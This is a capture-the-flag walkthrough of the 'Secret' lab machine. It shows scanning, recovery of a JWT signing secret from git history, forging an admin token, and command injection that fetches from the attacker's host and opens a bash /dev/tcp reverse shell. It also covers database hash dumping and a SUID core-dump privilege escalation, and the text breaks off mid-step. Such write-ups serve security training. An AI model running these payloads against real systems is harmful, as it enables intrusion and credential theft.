As this machine is still active, the following content is protected Javascript needs to be enabled to decrypt content Recon to foothold masscan starts us off with a comprehensive search rob:Secret/ $ sudo masscan -p1-65535,U:1-65535 10.10.11.120 --rate=1000 -e tun0 [sudo] password for rob: Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-12-21 11:35:25 GMT Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 3000/tcp on 10.10.11.120 Discovered open port 80/tcp on 10.10.11.120 Discovered open port 22/tcp on 10.10.11.120 And nmap now to detail the ports found rob:Secret/ $ nmap -A -T4 -v -p22,80,3000 Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 11:43 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed NSE: Script Post-scanning. Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Read data files from: /usr/bin/../share/nmap WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.30 seconds rob:Secret/ $ nmap -A -T4 -v -p22,80,3000 10.10.11.120 Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-21 11:43 GMT NSE: Loaded 155 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating Ping Scan at 11:43 Scanning 10.10.11.120 [2 ports] Completed Ping Scan at 11:43, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 11:43 Completed Parallel DNS resolution of 1 host. at 11:43, 0.01s elapsed Initiating Connect Scan at 11:43 Scanning 10.10.11.120 [3 ports] Discovered open port 22/tcp on 10.10.11.120 Discovered open port 80/tcp on 10.10.11.120 Discovered open port 3000/tcp on 10.10.11.120 Completed Connect Scan at 11:43, 0.02s elapsed (3 total ports) Initiating Service scan at 11:43 Scanning 3 services on 10.10.11.120 Completed Service scan at 11:43, 11.09s elapsed (3 services on 1 host) NSE: Script scanning 10.10.11.120. Initiating NSE at 11:43 Completed NSE at 11:43, 0.92s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.09s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Nmap scan report for 10.10.11.120 Host is up (0.020s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA) | 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA) |_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DUMB Docs | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) 3000/tcp open http Node.js (Express middleware) |_http-title: DUMB Docs | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Initiating NSE at 11:43 Completed NSE at 11:43, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.54 seconds On port 80 we find a documentation website And in the various sections about installation we find some easy to follow instructions To register To login To Access Private Route Before digging deep into this, let’s just do a quick gobuster to check that there’s no interesting directories we should explore first rob:Web-Content/ $ gobuster dir --url http://10.10.11.120 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x txt,php,zip =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.11.120 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php,zip [+] Timeout: 10s =============================================================== 2021/12/21 16:18:20 Starting gobuster in directory enumeration mode =============================================================== /download (Status: 301) [Size: 183] [-- /download/] /docs (Status: 200) [Size: 20720] /api (Status: 200) [Size: 93] /assets (Status: 301) [Size: 179] [-- /assets/] /API (Status: 200) [Size: 93] /Docs (Status: 200) [Size: 20720] /Api (Status: 200) [Size: 93] /DOCS (Status: 200) [Size: 20720] Progress: 95852 / 249136 (38.47%) [ERROR] 2021/12/21 16:22:04 [!] parse "http://10.10.11.120/error\x1f_log.php": net/url: invalid control character in URL =============================================================== 2021/12/21 16:27:59 Finished =============================================================== Let’s try and follow the instructions then, starting with registration rob:Secret/ $ curl -X POST -H 'Content-type: application/json' -d '{"name": "allfun", "email": "me@allfun.com", "password": "password"}' 10.10.11.120:3000/api/user/register {"user":"allfun"}% Ok, so far so good! Now let’s try to login rob:Secret/ $ curl -X POST -H 'Content-type: application/json' -d '{"email": "me@allfun.com", "password": "password"}' 10.10.11.120:3000/api/user/login eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoiYWxsZnVuIiwiZW1haWwiOiJtZUBhbGxmdW4uY29tIiwiaWF0IjoxNjQwMDg4MjAyfQ.NmU-O3Ro1Co6RjVaJlx9cdahN3EAZCZc_OkXYdyDpMc% And we got a JWT in response, let’s decode that and see what we received rob:Secret/ $ echo -n 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 --decode | jq . { "alg": "HS256", "typ": "JWT" } rob:Secret/ $ echo -n 'eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoiYWxsZnVuIiwiZW1haWwiOiJtZUBhbGxmdW4uY29tIiwiaWF0IjoxNjQwMDg4MjAyfQ' | base64 --decode | jq . base64: invalid input { "_id": "61c1c22caa4a8f0461310e87", "name": "allfun", "email": "me@allfun.com", "iat": 1640088202 } Then finally let’s see what happens if we try the last api call without changing anything rob:Secret/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoiYWxsZnVuIiwiZW1haWwiOiJtZUBhbGxmdW4uY29tIiwiaWF0IjoxNjQwMDg4MjAyfQ.NmU-O3Ro1Co6RjVaJlx9cdahN3EAZCZc_OkXYdyDpMc' 10.10.11.120:3000/api/priv {"role":{"role":"you are normal user","desc":"allfun"}}% As we should expect, we’re a ‘normal’ user If we want to masquerade as an admin user, we’ll need an email and password to login with. From the examples given on the webpage, could root@dasith.works be the actual email? rob:Postman/ $ curl -X POST -H "Content-type: application/json" -d '{"email": "root@dasith.works","password": "Kekc8swFgD6zU"}' http://10.10.11.120:3000/api/user/login Password is wrong% rob:Postman/ $ curl -X POST -H "Content-type: application/json" -d '{"email": "root@dasith.work","password": "Kekc8swFgD6zU"}' http://10.10.11.120:3000/api/user/login Email is wrong% Excellent, we can see that the api leaks information about the user login, giving us different responses when the password only is wrong vs when both the parameters are wrong. With this we can be pretty sure that the email to use is in fact root@daith.works Now, we don’t have to include a password in the JWT we use for authentication, though we do need an _id value which we don’t have With some fuzzing we can find another api endpoint, logs rob:Web-Content/ $ ffuf -u http://10.10.11.120:3000/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 93 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive But we get Access Denied when we attempt to access it rob:Secret/ $ curl http://10.10.11.120:3000/api/logs/ Access Denied% And it seems we are redirected to the /api/priv output if we attempt it with our token. Maybe we could get a different result if we were an admin user? rob:Secret/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoiYWxsZnVuIiwiZW1haWwiOiJtZUBhbGxmdW4uY29tIiwiaWF0IjoxNjQwMDg4MjAyfQ.NmU-O3Ro1Co6RjVaJlx9cdahN3EAZCZc_OkXYdyDpMc' 10.10.11.120:3000/api/logs {"role":{"role":"you are normal user","desc":"allfun"}}% We can try re-coding the JWT to use no encryption ("alg": "none") and swapping our email address for root@dasith.works rob:Secret/ $ curl -H 'Auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoiYWxsZnVuIiwiZW1haWwiOiJyb290QGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MDA4ODIwMn0' 10.10.11.120:3000/api/priv Invalid Token% But it’s not that dumb 😄 It’s only at this point that we spot this link on the front page of the site We can download the source code? Well that should make life easier! In routes/private.js we find the correct username to use rob:routes/ (master) $ cat private.js --snip-- router.get('/logs', verifytoken, (req, res) = { const file = req.query.file; const userinfo = { name: req.user } const name = userinfo.name.name; if (name == 'theadmin'){ const getLogs = `git log --oneline ${file}`; exec(getLogs, (err , output) ={ if(err){ res.status(500).send(err); return } res.json(output); }) --snip-- So the name of the admin user is theadmin. And interestingly it seems as if, though we use the email parameter as our identifying info in the /api/usr/login message, it is the name parameter that is actually important after that This code also shows us the logs endpoint that we found above and, right at the bottom of the code extract, we find an exec() function, every RCE’s best friend! In routes/verifytoken.js we find a clue as to where the signing key for the Java webtoken might be found rob:routes/ (master) $ cat verifytoken.js --snip-- try { const verified = jwt.verify(token, process.env.TOKEN_SECRET); req.user = verified; next(); --snip-- So we need to find somewhere that environment variables are being set However, perhaps more importantly, the prompt as we view the source code shows us that this is a git repo (we are on the master branch). Perhaps there’s something in the commit log that might help us rob:routes/ (master) $ git log commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD - master) Author: dasithsv Date: Thu Sep 9 00:03:27 2021 +0530 now we can view logs from server 😃 commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 Author: dasithsv Date: Fri Sep 3 11:30:17 2021 +0530 removed .env for security reasons commit de0a46b5107a2f4d26e348303e76d85ae4870934 Author: dasithsv Date: Fri Sep 3 11:29:19 2021 +0530 added /downloads commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb Author: dasithsv Date: Fri Sep 3 11:27:35 2021 +0530 removed swap commit 3a367e735ee76569664bf7754eaaade7c735d702 Author: dasithsv Date: Fri Sep 3 11:26:39 2021 +0530 added downloads commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8 Author: dasithsv Date: Fri Sep 3 11:25:52 2021 +0530 first commit Ahhh, look there at commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78, the .env file was removed for security. This sounds a lot like the ideal file to be containing our needed jwt signing key, let’s see if we can retrieve it from the repo, looking at the previous commit of course rob:routes/ (master) $ git show de0a4:.env DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web' TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE Ok, a lucky guess that the file might be in the root directory and there it is, we get a TOKEN_SECRET value of gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE With this secret we can now edit our JWT and re-sign it, so let’s change our name to theadmin over at jwt.io With our new token now we can check our privileges once more rob:Web-Content/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1lQGFsbGZ1bi5jb20iLCJpYXQiOjE2NDAwODgyMDJ9.-lHqPAjQ4OQuo-zrPGgxs2VC5cLz6MeOwQZoGjRaJ50' 10.10.11.120:3000/api/priv --no-progress-meter | jq . { "creds": { "role": "admin", "username": "theadmin", "desc": "welcome back admin" } } Excellent, we have admin privileges At this point let’s try the /api/logs endpoint again rob:Web-Content/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1lQGFsbGZ1bi5jb20iLCJpYXQiOjE2NDAwODgyMDJ9.-lHqPAjQ4OQuo-zrPGgxs2VC5cLz6MeOwQZoGjRaJ50' 10.10.11.120:3000/api/logs --no-progress-meter | jq . { "killed": false, "code": 128, "signal": null, "cmd": "git log --oneline undefined" } Ah, now that’s better! This looks like an opportunity for command injection, if we were to edit this and change the cmd parameter to a command of our choosing, and then find some way to upload it back to the server, maybe it would run Back to the source code and we can see that the undefined part of the cmd parameter is coming from a file argument --snip-- const file = req.query.file; --snip-- const getLogs = `git log --oneline ${file}`; --snip-- So if we send a request with a file (say .env since we know it exists) then we should get a different response hopefully rob:Web-Content/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1lQGFsbGZ1bi5jb20iLCJpYXQiOjE2NDAwODgyMDJ9.-lHqPAjQ4OQuo-zrPGgxs2VC5cLz6MeOwQZoGjRaJ50' --url 'http://10.10.11.120:3000/api/logs?file=.env' --no-progress-meter | jq . "ab3e953 Added the codes\n" And we do! So now, can we inject a command in here? Let’s try a blind wget to our webserver rob:Web-Content/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1lQGFsbGZ1bi5jb20iLCJpYXQiOjE2NDAwODgyMDJ9.-lHqPAjQ4OQuo-zrPGgxs2VC5cLz6MeOwQZoGjRaJ50' --url 'http://10.10.11.120:3000/api/logs?file=.env;wget+10.10.14.4:9090/ping.html' --no-progress-meter | jq . "ab3e953 Added the codes\n" Using a ; to extend the command to a second injected command, we get a good response, no errors. And over at our waiting web server we get a ping rob:routes/ (master) $ updog [+] Serving /home/rob/Documents/HackTheBox/Secret/local-web/routes... * Running on all addresses. WARNING: This is a development server. Do not use it in a production deployment. * Running on http://10.0.2.15:9090/ (Press CTRL+C to quit) 10.10.11.120 - - [21/Dec/2021 17:08:58] "GET /ping.html HTTP/1.1" 302 - 10.10.11.120 - - [21/Dec/2021 17:08:58] "GET / HTTP/1.1" 200 - Excellent, we have RCE. Let’s see if we can get a shell from this now. After trying for some times to directly insert a revshell in the payload, we find one that works, bash -c 'bash -i & /dev/tcp/10.10.14.4/1234 0&1' rob:Web-Content/ $ curl -H 'Auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWMxYzIyY2FhNGE4ZjA0NjEzMTBlODciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im1lQGFsbGZ1bi5jb20iLCJpYXQiOjE2NDAwODgyMDJ9.-lHqPAjQ4OQuo-zrPGgxs2VC5cLz6MeOwQZoGjRaJ50' --url 'http://10.10.11.120:3000/api/logs?file=;%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%31%32%33%34%20%30%3e%26%31%27' --no-progress-meter | jq . Our command hangs, and over at our listener we pop a shell! rob:Secret/ $ nc -lnvp 1234 listening on [any] 1234 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.11.120] 32794 bash: cannot set terminal process group (1121): Inappropriate ioctl for device bash: no job control in this shell dasith@secret:~/local-web$ id uid=1000(dasith) gid=1000(dasith) groups=1000(dasith) User dasith privesc to root We quickly stablize our shell and grab the user flag dasith@secret:~$ cat user.txt `REDACTED` Now let’s do some manual enumeration. In the .env file there was a reference also to MongoDB, let’s start there dasith@secret:~$ mongo MongoDB shell version v3.6.8 connecting to: mongodb://127.0.0.1:27017 Implicit session: session { "id" : UUID("abc0f13a-c869-43b8-8304-f1a16f03cc6e") } MongoDB server version: 3.6.8 Server has startup warnings: 2021-12-21T11:34:35.938+0000 I STORAGE [initandlisten] 2021-12-21T11:34:35.938+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine 2021-12-21T11:34:35.938+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem 2021-12-21T11:34:40.661+0000 I CONTROL [initandlisten] 2021-12-21T11:34:40.661+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database. 2021-12-21T11:34:40.661+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted. 2021-12-21T11:34:40.661+0000 I CONTROL [initandlisten] show dbs admin 0.000GB auth-web 0.000GB config 0.000GB local 0.000GB use auth-web switched to db auth-web show collections users db.users.find() { "_id" : ObjectId("6131bf09c6c27d0b05c16691"), "name" : "theadmin", "email" : "admin@admins.com", "password" : "$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei", "date" : ISODate("2021-09-03T06:22:01.581Z"), "__v" : 0 } { "_id" : ObjectId("6131bfb7c6c27d0b05c16699"), "name" : "user222", "email" : "user@google.com", "password" : "$2a$10$WmuQwihUQkzSrRoYakQdI.5hdjo820LNxSfEYATaBoTa/QXJmEbDS", "date" : ISODate("2021-09-03T06:24:55.832Z"), "__v" : 0 } { "_id" : ObjectId("6131d73387dee30378c66556"), "name" : "newuser", "email" : "root@dasith.works", "password" : "$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAIVUlv2Z80lkvmlIUQW", "date" : ISODate("2021-09-03T08:05:07.991Z"), "__v" : 0 } { "_id" : ObjectId("613904ae8a27cb040c65de17"), "name" : "dasith", "email" : "dasiths2v2@gmail.com", "password" : "$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO", "date" : ISODate("2021-09-08T18:45:02.187Z"), "__v" : 0 } { "_id" : ObjectId("61c1c1b7aa4a8f0461310e81"), "name" : "allFun", "email" : "allFun@me.com", "password" : "$2a$10$eNJD.S3R18GdeuGrow.VG.8rlTTYTTo.B0UAEhvNZljxYXGfyHY9G", "date" : ISODate("2021-12-21T11:59:51.018Z"), "__v" : 0 } { "_id" : ObjectId("61c1c22caa4a8f0461310e87"), "name" : "allfun", "email" : "me@allfun.com", "password" : "$2a$10$jSirzMjpxRx8OqdnKMM0JudKCZLrmxZcrHiLk53GiBpnIaFohL7k6", "date" : ISODate("2021-12-21T12:01:48.945Z"), "__v" : 0 } { "_id" : ObjectId("61c1ca45aa4a8f0461310e8c"), "name" : "allfunagain", "email" : "me2@allfun.com", "password" : "$2a$10$ztfG9k4xSRWzsEBG7rYMYujA4XFmDxsZq5CvZ1GtthBYl95aCBu7u", "date" : ISODate("2021-12-21T12:36:21.260Z"), "__v" : 0 } Find we find the user data, we pretty much have this information already though for the most part. We could try cracking the hashes though. Being bcrypt ($2$) however, that could take quite a while. Nothing else in the MongoDB instance jumps out at us so we can move on for now If we check for SUID & SGID files we find something interesting in /opt dasith@secret:/$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -la {} \; 2 /dev/null -rwxr-sr-x 1 root shadow 43160 Sep 17 06:14 /usr/sbin/unix_chkpwd -rwxr-sr-x 1 root shadow 43168 Sep 17 06:14 /usr/sbin/pam_extrausers_chkpwd --snip-- -rwsr-xr-x 1 root root 17824 Oct 7 10:03 /opt/count --snip-- There is a root SUID file, /opt/count. Let’s try running it and see what it can do dasith@secret:/$ /opt/count Enter source file/directory name: /etc/passwd Total characters = 1881 Total words = 51 Total lines = 36 Save results a file? [y/N]: y Path: /tmp/count_out.txt dasith@secret:/$ cat /tmp/count_out.txt Total characters = 1881 Total words = 51 Total lines = 36 dasith@secret:/$ ls -la /tmp/count_out.txt -rw-r--r-- 1 dasith dasith 68 Dec 21 18:15 /tmp/count_out.txt Interestingly, the output file that count creates is not owned by root, are we not getting the SUID user? We can test this by using count with a root-only accessible file dasith@secret:/$ /opt/count Enter source file/directory name: /root/root.txt Total characters = 33 Total words = 2 Total lines = 2 Save results a file? [y/N]: y Path: /tmp/root.txt dasith@secret:/$ cat /tmp/root.txt Total characters = 33 Total words = 2 Total lines = 2 Well, that’s definitely executing as root then! Interestingly we get a different answer when we supply a directory rather than a file name dasith@secret:~$ /opt/count Enter source file/directory name: /root -rw-r--r-- .viminfo drwxr-xr-x .. -rw-r--r-- .bashrc drwxr-xr-x .local drwxr-xr-x snap lrwxrwxrwx .bash_history drwx------ .config drwxr-xr-x .pm2 -rw-r--r-- .profile drwxr-xr-x .vim drwx------ . drwx------ .cache -r-------- root.txt drwxr-xr-x .npm drwx------ .ssh Total entries = 15 Regular files = 4 Directories = 10 Symbolic links = 1 Save results a file? [y/N]: n We notice that there are a couple more files in that /opt directory dasith@secret:~$ ls /opt code.c count valgrind.log Perhaps the code.c file is the original source code for count, let’s check it out dasith@secret:/opt$ cat code.c #include #include #include #include #include #include #include #include #include void dircount(const char *path, char *summary) { DIR *dir; char fullpath[PATH_MAX]; struct dirent *ent; struct stat fstat; int tot = 0, regular_files = 0, directories = 0, symlinks = 0; if((dir = opendir(path)) == NULL) { printf("\nUnable to open directory.\n"); exit(EXIT_FAILURE); } while ((ent = readdir(dir)) != NULL) { ++tot; strncpy(fullpath, path, PATH_MAX-NAME_MAX-1); strcat(fullpath, "/"); strncat(fullpath, ent-d_name, strlen(ent-d_name)); if (!lstat(fullpath, &fstat)) { if(S_ISDIR(fstat.st_mode)) { printf("d"); ++directories; } else if(S_ISLNK(fstat.st_mode)) { printf("l"); ++symlinks; } else if(S_ISREG(fstat.st_mode)) { printf("-"); ++regular_files; } else printf("?"); printf((fstat.st_mode & S_IRUSR) ? "r" : "-"); printf((fstat.st_mode & S_IWUSR) ? "w" : "-"); printf((fstat.st_mode & S_IXUSR) ? "x" : "-"); printf((fstat.st_mode & S_IRGRP) ? "r" : "-"); printf((fstat.st_mode & S_IWGRP) ? "w" : "-"); printf((fstat.st_mode & S_IXGRP) ? "x" : "-"); printf((fstat.st_mode & S_IROTH) ? "r" : "-"); printf((fstat.st_mode & S_IWOTH) ? "w" : "-"); printf((fstat.st_mode & S_IXOTH) ? "x" : "-"); } else { printf("??????????"); } printf ("\t%s\n", ent-d_name); } closedir(dir); snprintf(summary, 4096, "Total entries = %d\nRegular files = %d\nDirectories = %d\nSymbolic links = %d\n", tot, regular_files, directories, symlinks); printf("\n%s", summary); } void filecount(const char *path, char *summary) { FILE *file; char ch; int characters, words, lines; file = fopen(path, "r"); if (file == NULL) { printf("\nUnable to open file.\n"); printf("Please check if file exists and you have read privilege.\n"); exit(EXIT_FAILURE); } characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } if (characters 0) { words++; lines++; } snprintf(summary, 256, "Total characters = %d\nTotal words = %d\nTotal lines = %d\n", characters, words, lines); printf("\n%s", summary); } int main() { char path[100]; int res; struct stat path_s; char summary[4096]; printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s); if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // drop privs to limit file write setuid(getuid()); // Enable coredump generation prctl(PR_SET_DUMPABLE, 1); printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } else { printf("Could not open %s for writing\n", path); } } return 0; } From this code we can see a branching that gives us our two different outputs if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary) Then, in the function filecount() we see how the file is being read characters = words = lines = 0; while ((ch = fgetc(file)) != EOF) { characters++; if (ch == '\n' || ch == '\0') lines++; if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\0') words++; } So, character by character the various counters are incremented. If we can use a debugger then for example perhaps we can see those characters as they are being read dasith@secret:/opt$ which gdb /usr/bin/gdb And we do, gdb is installed. Let’s have a look at using debug tools on the process dasith@secret:/opt$ gdb count GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Copyright (C) 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from count... (No debugging symbols found in count) (gdb) run Starting program: /opt/count Enter source file/directory name: /root/root.txt Unable to open file. Please check if file exists and you have read privilege. [Inferior 1 (process 50852) exited with code 01] (gdb) Some googling brings stackoverflow to the rescue When run directly, the program accommodates that by being root-owned and having its SUID bit set: -rwsrwxr-x 1 root root 29064 Jan 4 19:45 GameOfChance (note the “s” in the first triad of permission bits). That causes the program, when run directly, to run with the effective UID of root, even though root did not actually launch it. This is one of the cases where the effective and real UIDs differ. It is also a very poor use case for SUID, because SUID root programs present an existential security risk to the host system, and that risk is not justified for a game. The risk would be much worse if the SUID bit were honored when the program is running under control of a debugger. A debugger can make arbitrary changes to program data and even binary code while the program is running, and that would present an easy vector for privilege escalation if SUID were honored in such contexts. Accordingly, the SUID bit on an executable has no effect when the program is run in a debugger. (See also Can gdb debug suid root programs?) Thus, if you debug the program as a user other than root, it will not be able to open the data file, but if you use sudo to run the debugger then you obtain the needed privelege to access the data file through sudo, and the fact that the SUID bit on the executable is not honored is irrelevant Reading on from there we find another answer You can only debug a setuid or setgid program if the debugger is running as root. The kernel won’t let you call ptrace on a program running with extra privileges. If it did, you would be able to make the program execute anything, which would effectively mean you could e.g. run a root shell by calling a debugger on /bin/su. If you run Gdb as root, you’ll be able to run your program, but you’ll only be observing its behavior when run by root. If you need to debug the program when it’s not started by root, start the program outside Gdb, make it pause in some fashion before getting to the troublesome part, and attach the process inside Gdb (at 1234 where 1234 is the process ID) We clearly can’t run gdb as root, we don’t have rights to do so, so the advice is to start the program outside gdb make it pause in some fashion and then attach the process inside gdb The program actually has a handy self-pause, when it asks the question about writing to file, maybe we could background it there and attach gdb?? Worth a try asith@secret:/opt$ ./count Enter source file/directory name: /root/root.txt Total characters = 33 Total words = 2 Total lines = 2 Save results a file? [y/N]: ^Z [1]+ Stopped ./count dasith@secret:/opt$ ps -aef | grep count root 824 1 0 11:34 ? 00:00:00 /usr/lib/accountsservice/accounts-daemon dasith 50883 1757 0 20:21 pts/0 00:00:00 ./count dasith 50885 1757 0 20:21 pts/0 00:00:00 grep --color=auto count dasith@secret:/opt$ gdb ./count -p 50883 GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Copyright (C) 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./count... (No debugging symbols found in ./count) Attaching to program: /opt/count, process 50883 Could not attach to process. If your uid matches the uid of the target process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf ptrace: Operation not permitted. (gdb) Nope, it’s too smart for that, we do have a uid that matches the process uid, so what value is in /proc/sys/kernel/yama/ptrace_scope? dasith@secret:/opt$ cat /proc/sys/kernel/yama/ptrace_scope 1 And in /etc/sysctl.d/10-ptrace.conf we find the explanation # A PTRACE scope of "0" is the more permissive mode. A scope of "1" limits # PTRACE only to direct child processes (e.g. "gdb name-of-program" and # "strace -f name-of-program" work, but gdb's "attach" and "strace -fp $PID" # do not). The PTRACE scope is ignored when a user has CAP_SYS_PTRACE, so # "sudo strace -fp $PID" will work as before. For more details see: # https://wiki.ubuntu.com/SecurityTeam/Roadmap/KernelHardening#ptrace Then I remembered previously analyzing core dumps when doing buffer overflows, could we trigger a coredump of this ‘paused’ process? Again, stackoverflow comes through, with a whole range of kill signals, so let’s try using kill -11 which is apparently SIGSEGV for a segmentation fault dasith@secret:/opt$ ./count Enter source file/directory name: /root/root.txt Total characters = 33 Total words = 2 Total lines = 2 Save results a file? 